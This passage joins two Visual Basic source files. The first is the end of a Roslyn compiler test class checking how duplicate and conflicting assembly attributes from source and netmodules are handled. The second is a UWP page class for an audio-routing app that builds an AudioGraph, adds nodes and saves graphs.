InternalsVisibleTo("Assembly2")> ]]> </file> </compilation> Dim comp = CreateCompilationWithMscorlib(source, OutputKind.DynamicallyLinkedLibrary) CompileAndVerify(comp, emitOptions:=EmitOptions.RefEmitBug) TestDuplicateAssemblyAttributesNotEmitted(comp.Assembly, expectedSrcAttrCount:=2, expectedDuplicateAttrCount:=1, attrTypeName:="InternalsVisibleToAttribute") End Sub <Fact(), WorkItem(546963, "DevDiv")> Public Sub AssemblyAttributesFromSourceDropIdentical() Dim source = <compilation> <file name="a.vb"> <![CDATA[ <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0)> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(1)> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0)> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str2")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text2 := "str2", Text := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text2 := "str1", Text := "str1")> ' unique ]]> </file> </compilation> Dim netmoduleRef = GetNetModuleWithAssemblyAttributesRef() Dim comp = CreateCompilationWithMscorlibAndReferences(source, references:={netmoduleRef}) Dim diagnostics = comp.GetDiagnostics() TestDuplicateAssemblyAttributesNotEmitted(comp.Assembly, expectedSrcAttrCount:=16, expectedDuplicateAttrCount:=5, attrTypeName:="UserDefinedAssemblyAttrAllowMultipleAttribute") End Sub <Fact(), WorkItem(546963, "DevDiv")> Public Sub AssemblyAttributesFromSourceDropIdentical_02() Dim source1 As String = <![CDATA[ <Assembly: UserDefinedAssemblyAttrNoAllowMultipleAttribute(0)> ' unique ]]>.Value Dim source2 As String = <![CDATA[ <Assembly: UserDefinedAssemblyAttrNoAllowMultipleAttribute(0)> ' duplicate ignored, no error because identical ]]>.Value Dim defaultHeaderString As String = <![CDATA[ Imports System ]]>.Value Dim defsRef As MetadataReference = CreateCompilationWithMscorlib({defaultHeaderString & DefaultNetModuleSourceBody}, references:=Nothing, compOptions:=OptionsDll).ToMetadataReference() Dim netmodule1Ref As MetadataReference = GetNetModuleWithAssemblyAttributesRef(source2, "", references:={defsRef}, nameSuffix:="1") Dim comp = CreateCompilationWithMscorlib({source1}, references:={defsRef, netmodule1Ref}, compOptions:=OptionsDll) ' duplicate ignored, no error because identical comp.VerifyDiagnostics() TestDuplicateAssemblyAttributesNotEmitted(comp.Assembly, expectedSrcAttrCount:=2, expectedDuplicateAttrCount:=1, attrTypeName:="UserDefinedAssemblyAttrNoAllowMultipleAttribute") Dim netmodule2Ref As MetadataReference = GetNetModuleWithAssemblyAttributesRef(source1, "", references:={defsRef}, nameSuffix:="2") comp = CreateCompilationWithMscorlib({""}, references:={defsRef, netmodule1Ref, netmodule2Ref}, compOptions:=OptionsDll) ' duplicate ignored, no error because identical comp.VerifyDiagnostics() TestDuplicateAssemblyAttributesNotEmitted(comp.Assembly, expectedSrcAttrCount:=2, expectedDuplicateAttrCount:=1, attrTypeName:="UserDefinedAssemblyAttrNoAllowMultipleAttribute") End Sub <Fact(), WorkItem(546963, "DevDiv")> Public Sub AssemblyAttributesFromNetModuleDropIdentical_01() ' Duplicate ignored attributes in netmodule Dim netmoduleAttributes As String = <![CDATA[ <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0)> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(1)> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0)> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str2")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text2 := "str2", Text := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text2 := "str1", Text := "str1")> ' unique ]]>.Value Dim netmoduleRef = GetNetModuleWithAssemblyAttributesRef(DefaultNetModuleSourceHeader & netmoduleAttributes, DefaultNetModuleSourceBody) Dim comp = CreateCompilationWithMscorlib({""}, references:={netmoduleRef}, compOptions:=OptionsDll) Dim diagnostics = comp.GetDiagnostics() TestDuplicateAssemblyAttributesNotEmitted(comp.Assembly, expectedSrcAttrCount:=16, expectedDuplicateAttrCount:=5, attrTypeName:="UserDefinedAssemblyAttrAllowMultipleAttribute") End Sub <Fact(), WorkItem(546963, "DevDiv")> Public Sub AssemblyAttributesFromNetModuleDropIdentical_02() ' Duplicate ignored attributes in netmodules Dim netmodule1Attributes As String = <![CDATA[ <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0)> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text2 := "str2", Text := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text2 := "str1", Text := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' unique ]]>.Value Dim netmodule2Attributes As String = <![CDATA[ <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(1)> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0)> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str2")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' duplicate ]]>.Value Dim netmodule3Attributes As String = <![CDATA[ <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' duplicate ]]>.Value Dim defaultImportsString As String = <![CDATA[ Imports System ]]>.Value Dim defsRef As MetadataReference = CreateCompilationWithMscorlib({defaultImportsString & DefaultNetModuleSourceBody}, references:=Nothing, compOptions:=OptionsDll).ToMetadataReference() Dim netmodule0Ref = GetNetModuleWithAssemblyAttributesRef(DefaultNetModuleSourceHeader, "", references:={defsRef}) Dim netmodule1Ref = GetNetModuleWithAssemblyAttributesRef(netmodule1Attributes, "", references:={defsRef}) Dim netmodule2Ref = GetNetModuleWithAssemblyAttributesRef(netmodule2Attributes, "", references:={defsRef}) Dim netmodule3Ref = GetNetModuleWithAssemblyAttributesRef(netmodule3Attributes, "", references:={defsRef}) Dim comp = CreateCompilationWithMscorlib({""}, references:={defsRef, netmodule0Ref, netmodule1Ref, netmodule2Ref, netmodule3Ref}, compOptions:=OptionsDll) Dim diagnostics = comp.GetDiagnostics() TestDuplicateAssemblyAttributesNotEmitted(comp.Assembly, expectedSrcAttrCount:=17, expectedDuplicateAttrCount:=6, attrTypeName:="UserDefinedAssemblyAttrAllowMultipleAttribute") End Sub <Fact(), WorkItem(546963, "DevDiv")> Public Sub AssemblyAttributesFromSourceAndNetModuleDropIdentical_01() ' All duplicate ignored attributes in netmodule Dim netmoduleAttributes As String = <![CDATA[ <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0)> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str2")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' duplicate ]]>.Value Dim sourceAttributes As String = <![CDATA[ <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0)> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(1)> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text2 := "str2", Text := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text2 := "str1", Text := "str1")> ' unique ]]>.Value Dim netmoduleRef = GetNetModuleWithAssemblyAttributesRef(DefaultNetModuleSourceHeader & netmoduleAttributes, DefaultNetModuleSourceBody) Dim comp = CreateCompilationWithMscorlib({sourceAttributes}, references:={netmoduleRef}, compOptions:=OptionsDll) Dim diagnostics = comp.GetDiagnostics() TestDuplicateAssemblyAttributesNotEmitted(comp.Assembly, expectedSrcAttrCount:=16, expectedDuplicateAttrCount:=5, attrTypeName:="UserDefinedAssemblyAttrAllowMultipleAttribute") End Sub <Fact(), WorkItem(546963, "DevDiv")> Public Sub AssemblyAttributesFromSourceAndNetModuleDropIdentical_02() ' Duplicate ignored attributes in netmodule & source Dim netmoduleAttributes As String = <![CDATA[ <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0)> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str2")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' duplicate ]]>.Value Dim sourceAttributes As String = <![CDATA[ <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0)> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(1)> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0)> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute("str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str2")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str2")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text2 := "str2", Text := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' unique <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text := "str1", Text2 := "str1")> ' duplicate <Assembly: UserDefinedAssemblyAttrAllowMultipleAttribute(0, Text2 := "str1", Text := "str1")> ' unique ]]>.Value Dim netmoduleRef = GetNetModuleWithAssemblyAttributesRef(DefaultNetModuleSourceHeader & netmoduleAttributes, DefaultNetModuleSourceBody) Dim comp = CreateCompilationWithMscorlib({sourceAttributes}, references:={netmoduleRef}, compOptions:=OptionsDll) Dim diagnostics = comp.GetDiagnostics() TestDuplicateAssemblyAttributesNotEmitted(comp.Assembly, expectedSrcAttrCount:=21, expectedDuplicateAttrCount:=10, attrTypeName:="UserDefinedAssemblyAttrAllowMultipleAttribute") End Sub #End Region <Fact, WorkItem(545527, "DevDiv")> Public Sub CompilationRelaxationsAndRuntimeCompatibility_MultiModule() Dim moduleSrc = <compilation> <file><![CDATA[ Imports System.Runtime.CompilerServices <Assembly:CompilationRelaxationsAttribute(CompilationRelaxations.NoStringInterning)> <Assembly:RuntimeCompatibilityAttribute(WrapNonExceptionThrows:=False)> ]]> </file> </compilation> Dim [module] = CreateCompilationWithMscorlib(moduleSrc, options:=OptionsNetModule) Dim assemblySrc = <compilation> <file> Public Class C End Class </file> </compilation> Dim assembly = CreateCompilationWithMscorlib(assemblySrc, references:={[module].EmitToImageReference()}) CompileAndVerify(assembly, symbolValidator:= Sub(moduleSymbol) Dim attrs = moduleSymbol.ContainingAssembly.GetAttributes().Select(Function(a) a.ToString()).ToArray() AssertEx.SetEqual({ "System.Runtime.CompilerServices.RuntimeCompatibilityAttribute(WrapNonExceptionThrows:=False)", "System.Runtime.CompilerServices.CompilationRelaxationsAttribute(System.Runtime.CompilerServices.CompilationRelaxations.NoStringInterning)" }, attrs) End Sub) End Sub <Fact, WorkItem(546460, "DevDiv")> Public Sub RuntimeCompatibilityAttribute_False() ' VB emits catch(Exception) even for an empty catch, so it can never catch non-Exception objects. Dim source = <compilation> <file><![CDATA[ Imports System.Runtime.CompilerServices <Assembly:RuntimeCompatibilityAttribute(WrapNonExceptionThrows:=False)> Class C Public Shared Sub Main() Try Catch e As System.Exception Catch End Try End Sub End Class ]]> </file> </compilation> CreateCompilationWithMscorlibAndVBRuntime(source).AssertTheseDiagnostics( <errors> BC42031: 'Catch' block never reached; 'System.Exception' handled above in the same Try statement. Catch ~~~~~ </errors>) End Sub <Fact, WorkItem(530585, "DevDiv")> Public Sub Bug16465() Dim modSource = <![CDATA[ Imports System.Configuration.Assemblies Imports System.Reflection <assembly: AssemblyAlgorithmId(AssemblyHashAlgorithm.SHA1)> <assembly: AssemblyCulture("en-US")> <assembly: AssemblyDelaySign(true)> <assembly: AssemblyFlags(AssemblyNameFlags.EnableJITcompileOptimizer Or AssemblyNameFlags.Retargetable Or AssemblyNameFlags.EnableJITcompileTracking)> <assembly: AssemblyVersion("1.2.3.4")> <assembly: AssemblyFileVersion("4.3.2.1")> <assembly: AssemblyTitle("HELLO")> <assembly: AssemblyDescription("World")> <assembly: AssemblyCompany("MS")> <assembly: AssemblyProduct("Roslyn")> <assembly: AssemblyInformationalVersion("Info")> <assembly: AssemblyCopyright("Roslyn")> <assembly: AssemblyTrademark("Roslyn")> class Program1 Shared Sub Main() End Sub End Class ]]> Dim source = <compilation> <file><![CDATA[ Class C End Class ]]> </file> </compilation> Dim appCompilation = CreateCompilationWithMscorlibAndReferences(source, {GetNetModuleWithAssemblyAttributesRef(modSource.Value, "")}) Dim m = DirectCast(appCompilation.Assembly.Modules(1), PEModuleSymbol) Dim metadata = m.Module Dim metadataReader = metadata.GetMetadataReader() Dim token As Handle = metadata.GetTypeRef(metadata.GetAssemblyRef("mscorlib"), "System.Runtime.CompilerServices", "AssemblyAttributesGoHere") Assert.False(token.IsNil()) 'could the type ref be located? If not then the attribute's not there. Dim attributes = m.GetCustomAttributesForToken(token) Dim builder = New System.Text.StringBuilder() For Each attr In attributes builder.AppendLine(attr.ToString()) Next Dim expectedStr = <![CDATA[ System.Reflection.AssemblyAlgorithmIdAttribute(System.Configuration.Assemblies.AssemblyHashAlgorithm.SHA1) System.Reflection.AssemblyCultureAttribute("en-US") System.Reflection.AssemblyDelaySignAttribute(True) System.Reflection.AssemblyFlagsAttribute(System.Reflection.AssemblyNameFlags.None Or System.Reflection.AssemblyNameFlags.EnableJITcompileOptimizer Or System.Reflection.AssemblyNameFlags.EnableJITcompileTracking Or System.Reflection.AssemblyNameFlags.Retargetable) System.Reflection.AssemblyVersionAttribute("1.2.3.4") System.Reflection.AssemblyFileVersionAttribute("4.3.2.1") System.Reflection.AssemblyTitleAttribute("HELLO") System.Reflection.AssemblyDescriptionAttribute("World") System.Reflection.AssemblyCompanyAttribute("MS") System.Reflection.AssemblyProductAttribute("Roslyn") System.Reflection.AssemblyInformationalVersionAttribute("Info") System.Reflection.AssemblyCopyrightAttribute("Roslyn") System.Reflection.AssemblyTrademarkAttribute("Roslyn") ]]>.Value.Trim() expectedStr = CompilationUtils.FilterString(expectedStr) Dim actualStr = CompilationUtils.FilterString(builder.ToString().Trim()) Assert.True(expectedStr.Equals(actualStr), AssertEx.GetAssertMessage(expectedStr, actualStr)) End Sub <Fact, WorkItem(530579, "DevDiv")> Public Sub Bug530579_1() Dim mod1Source = <compilation name="M1"> <file><![CDATA[ <Assembly:System.Reflection.AssemblyDescriptionAttribute("Module1")> ]]></file> </compilation> Dim mod2Source = <compilation name="M2"> <file><![CDATA[ <Assembly:System.Reflection.AssemblyDescriptionAttribute("Module1")> ]]></file> </compilation> Dim source = <compilation name="M3"> <file><![CDATA[ <Assembly:System.Reflection.AssemblyDescriptionAttribute("Module1")> ]]> </file> </compilation> Dim compMod1 = CreateCompilationWithMscorlib(mod1Source, OptionsNetModule) Dim compMod2 = CreateCompilationWithMscorlib(mod2Source, OptionsNetModule) Dim appCompilation = CreateCompilationWithMscorlibAndReferences(source, {compMod1.EmitToImageReference(), compMod2.EmitToImageReference()}, OptionsDll) Assert.Equal(3, appCompilation.Assembly.Modules.Length) CompileAndVerify(appCompilation, symbolValidator:=Sub(m As ModuleSymbol) Dim list As New ArrayBuilder(Of VisualBasicAttributeData) GetAssemblyDescriptionAttributes(m.ContainingAssembly, list) Assert.Equal(1, list.Count) Assert.Equal("System.Reflection.AssemblyDescriptionAttribute(""Module1"")", list(0).ToString()) End Sub).VerifyDiagnostics() End Sub Private Shared Sub GetAssemblyDescriptionAttributes(assembly As AssemblySymbol, list As ArrayBuilder(Of VisualBasicAttributeData)) For Each attrData In assembly.GetAttributes() If attrData.IsTargetAttribute(assembly, AttributeDescription.AssemblyDescriptionAttribute) Then list.Add(attrData) End If Next End Sub <Fact, WorkItem(530579, "DevDiv")> Public Sub Bug530579_2() Dim mod1Source = <compilation name="M1"> <file><![CDATA[ <Assembly:System.Reflection.AssemblyDescriptionAttribute("Module1")> ]]></file> </compilation> Dim mod2Source = <compilation name="M2"> <file><![CDATA[ <Assembly:System.Reflection.AssemblyDescriptionAttribute("Module2")> ]]></file> </compilation> Dim source = <compilation name="M3"> <file><![CDATA[ ]]> </file> </compilation> Dim compMod1 = CreateCompilationWithMscorlib(mod1Source, OptionsNetModule) Dim compMod2 = CreateCompilationWithMscorlib(mod2Source, OptionsNetModule) Dim appCompilation = CreateCompilationWithMscorlibAndReferences(source, {compMod1.EmitToImageReference(), compMod2.EmitToImageReference()}, OptionsDll) Assert.Equal(3, appCompilation.Assembly.Modules.Length) AssertTheseDiagnostics(appCompilation, <expected> BC42370: Attribute 'System.Reflection.AssemblyDescriptionAttribute' from module 'M1.netmodule' will be ignored in favor of the instance appearing in source. </expected>) CompileAndVerify(appCompilation, symbolValidator:=Sub(m As ModuleSymbol) Dim list As New ArrayBuilder(Of VisualBasicAttributeData) GetAssemblyDescriptionAttributes(m.ContainingAssembly, list) Assert.Equal(1, list.Count) Assert.Equal("System.Reflection.AssemblyDescriptionAttribute(""Module2"")", list(0).ToString()) End Sub) End Sub <Fact, WorkItem(530579, "DevDiv")> Public Sub Bug530579_3() Dim mod1Source = <compilation name="M1"> <file><![CDATA[ <Assembly:System.Reflection.AssemblyDescriptionAttribute("Module1")> ]]></file> </compilation> Dim mod2Source = <compilation name="M2"> <file><![CDATA[ <Assembly:System.Reflection.AssemblyDescriptionAttribute("Module2")> ]]></file> </compilation> Dim source = <compilation name="M3"> <file><![CDATA[ <Assembly:System.Reflection.AssemblyDescriptionAttribute("Module3")> ]]> </file> </compilation> Dim compMod1 = CreateCompilationWithMscorlib(mod1Source, OptionsNetModule) Dim compMod2 = CreateCompilationWithMscorlib(mod2Source, OptionsNetModule) Dim appCompilation = CreateCompilationWithMscorlibAndReferences(source, {compMod1.EmitToImageReference(), compMod2.EmitToImageReference()}, OptionsDll) Assert.Equal(3, appCompilation.Assembly.Modules.Length) AssertTheseDiagnostics(appCompilation, <expected> BC42370: Attribute 'System.Reflection.AssemblyDescriptionAttribute' from module 'M1.netmodule' will be ignored in favor of the instance appearing in source. BC42370: Attribute 'System.Reflection.AssemblyDescriptionAttribute' from module 'M2.netmodule' will be ignored in favor of the instance appearing in source. </expected>) CompileAndVerify(appCompilation, symbolValidator:=Sub(m As ModuleSymbol) Dim list As New ArrayBuilder(Of VisualBasicAttributeData) GetAssemblyDescriptionAttributes(m.ContainingAssembly, list) Assert.Equal(1, list.Count) Assert.Equal("System.Reflection.AssemblyDescriptionAttribute(""Module3"")", list(0).ToString()) End Sub) End Sub <Fact, WorkItem(530579, "DevDiv")> Public Sub Bug530579_4() Dim mod1Source = <compilation name="M1"> <file><![CDATA[ <Assembly:System.Reflection.AssemblyDescriptionAttribute("Module1")> ]]></file> </compilation> Dim mod2Source = <compilation name="M2"> <file><![CDATA[ <Assembly:System.Reflection.AssemblyDescriptionAttribute("Module2")> ]]></file> </compilation> Dim source = <compilation name="M3"> <file><![CDATA[ <Assembly:System.Reflection.AssemblyDescriptionAttribute("Module1")> ]]> </file> </compilation> Dim compMod1 = CreateCompilationWithMscorlib(mod1Source, OptionsNetModule) Dim compMod2 = CreateCompilationWithMscorlib(mod2Source, OptionsNetModule) Dim appCompilation = CreateCompilationWithMscorlibAndReferences(source, {compMod1.EmitToImageReference(), compMod2.EmitToImageReference()}, OptionsDll) Assert.Equal(3, appCompilation.Assembly.Modules.Length) AssertTheseDiagnostics(appCompilation, <expected> BC42370: Attribute 'System.Reflection.AssemblyDescriptionAttribute' from module 'M2.netmodule' will be ignored in favor of the instance appearing in source. </expected>) CompileAndVerify(appCompilation, symbolValidator:=Sub(m As ModuleSymbol) Dim list As New ArrayBuilder(Of VisualBasicAttributeData) GetAssemblyDescriptionAttributes(m.ContainingAssembly, list) Assert.Equal(1, list.Count) Assert.Equal("System.Reflection.AssemblyDescriptionAttribute(""Module1"")", list(0).ToString()) End Sub) End Sub End Class
 Imports VBAudioRouter.AudioGraphControl Imports VBAudioRouter.Controls.Nodes Imports Windows.ApplicationModel.ExtendedExecution.Foreground Imports Windows.Devices.Enumeration Imports Windows.Media.Audio Imports Windows.System Imports Windows.UI Public NotInheritable Class GraphViewPage Inherits Page Public Sub New() InitializeComponent() Me.NavigationCacheMode = NavigationCacheMode.Required End Sub Dim isLoaded As Boolean = False Private Async Sub MainPage_Loaded(sender As Object, e As RoutedEventArgs) Handles Me.Loaded If isLoaded Then Exit Sub isLoaded = True Dim dialog As New Dialogs.OutputDeviceSelectDialog() Await dialog.ShowAsync() Await InitAudioGraphAsync(CreateGraphSettings(dialog.SelectedRenderDevice)) Await EnableBackgroundAudioAsync() Await DefaultOutputNode.Initialize(CurrentAudioGraph) End Sub #Region "Audio Graph" Public ReadOnly Property CurrentAudioGraph As AudioGraph = Nothing Private Function CreateGraphSettings() As AudioGraphSettings Return CreateGraphSettings(Nothing) End Function Private Function CreateGraphSettings(renderDevice As DeviceInformation) As AudioGraphSettings Dim settings As New AudioGraphSettings(Windows.Media.Render.AudioRenderCategory.Media) If renderDevice IsNot Nothing Then settings.PrimaryRenderDevice = renderDevice settings.QuantumSizeSelectionMode = QuantumSizeSelectionMode.LowestLatency Return settings End Function Private Async Function InitAudioGraphAsync(settings As AudioGraphSettings) As Task Dim result = Await AudioGraph.CreateAsync(settings) If Not result.Status = AudioGraphCreationStatus.Success Then Throw result.ExtendedError _CurrentAudioGraph = result.Graph End Function #End Region #Region "Background Audio" Public ReadOnly Property BackgroundAudioSession As ExtendedExecutionForegroundSession Private Async Function EnableBackgroundAudioAsync() As Task _BackgroundAudioSession = New ExtendedExecutionForegroundSession() BackgroundAudioSession.Reason = ExtendedExecutionForegroundReason.BackgroundAudio BackgroundAudioSession.Description = "Play Background audio" Dim result = Await BackgroundAudioSession.RequestExtensionAsync() If result = ExtendedExecutionForegroundResult.Denied Then ShowWarning() End If End Function #Region "Warning" Private Sub BackgroundAudioPermissionsWarning_Closed(sender As Microsoft.UI.Xaml.Controls.InfoBar, args As Microsoft.UI.Xaml.Controls.InfoBarClosedEventArgs) BackgroundAudioPermissionsWarning.Visibility = Visibility.Collapsed End Sub Private Sub ShowWarning() BackgroundAudioPermissionsWarning.Visibility = Visibility.Visible BackgroundAudioPermissionsWarning.IsOpen = True End Sub #End Region #End Region #Region "GraphState" Public ReadOnly Property GraphState As GraphState = GraphState.Stopped Private Sub NotifyAllState() ' Notify Node (UI) For Each child In NodeContainer.Children If GetType(NodeControl) = child.GetType() Then Dim control As NodeControl = DirectCast(child, NodeControl) If control.NodeContent IsNot Nothing AndAlso GetType(IAudioNodeControl).IsAssignableFrom(control.NodeContent.GetType()) Then Dim node As IAudioNodeControl = DirectCast(control.NodeContent, IAudioNodeControl) node.OnStateChanged(GraphState.Started) End If End If Next End Sub #End Region Private Sub PlayButton_Click(sender As Object, e As RoutedEventArgs) Handles PlayButton.Click CurrentAudioGraph.Start() Me._GraphState = GraphState.Started NotifyAllState() ' UI PlayButton.IsEnabled = False StopButton.IsEnabled = True End Sub Private Sub StopButton_Click(sender As Object, e As RoutedEventArgs) Handles StopButton.Click CurrentAudioGraph.Stop() Me._GraphState = GraphState.Stopped NotifyAllState() ' UI PlayButton.IsEnabled = True StopButton.IsEnabled = False End Sub #Region "Context Menu" Private Async Sub MenuFlyoutItem_Click(sender As Object, e As RoutedEventArgs) Try Dim tag As String = DirectCast(DirectCast(sender, MenuFlyoutItem).Tag, String) If Not String.IsNullOrEmpty(tag) Then Dim contentEle = DirectCast(Activator.CreateInstance(Me.GetType().Assembly.GetType($"VBAudioRouter.Controls.Nodes.{tag}")), IAudioNodeControl) #Region "UI" Dim nodeContainer As New NodeControl() nodeContainer.HorizontalAlignment = HorizontalAlignment.Left nodeContainer.VerticalAlignment = VerticalAlignment.Top nodeContainer.Title = String.Join("", contentEle.GetType().Name.Replace("NodeControl", "").ToCharArray().Select(Function(x) If(Char.IsUpper(x), " " + x, x.ToString()))) If TypeOf contentEle Is IAudioNodeControlEffect Then nodeContainer.TitleBrush = New SolidColorBrush(DirectCast(Application.Current.Resources("NodeTitleBarColor2"), Color)) End If #End Region contentEle.Canvas = ConnectionCanvas ' Assign content to container ("window") nodeContainer.NodeContent = DirectCast(contentEle, UIElement) Me.NodeContainer.Children.Add(nodeContainer) ' Wait for node to be initialized by uwp Await Dispatcher.RunIdleAsync(Async Sub() ' Initialize Await DirectCast(contentEle, IAudioNodeControl).Initialize(CurrentAudioGraph) ' Update State DirectCast(contentEle, IAudioNodeControl).OnStateChanged(GraphState) End Sub) End If Catch ex As Exception Dim dialog As New Dialogs.ErrorDialog(ex) dialog.Title = "Failed to add node" Call dialog.ShowAsync() End Try End Sub #End Region Private Sub Grid_ManipulationDelta(sender As Object, e As ManipulationDeltaRoutedEventArgs) Exit Sub If e.OriginalSource IsNot ViewPort Then Exit Sub ViewPortTransform.TranslateX += e.Delta.Translation.X ViewPortTransform.TranslateY += e.Delta.Translation.Y End Sub Private Async Sub SaveAppBarButton_Click(sender As Object, e As RoutedEventArgs) Dim picker = New Windows.Storage.Pickers.FileSavePicker() picker.SuggestedStartLocation = Windows.Storage.Pickers.PickerLocationId.MusicLibrary picker.FileTypeChoices.Add("Audio Graph", {".audiograph"}) Dim file = Await picker.PickSaveFileAsync() If file IsNot Nothing Then Using stream As Stream = Await file.OpenStreamForWriteAsync() Serialization.SerializationHelper.WriteGraphToStream(stream, Me.NodeContainer.Children.Cast(Of INodeControl)) End Using End If End Sub End Class
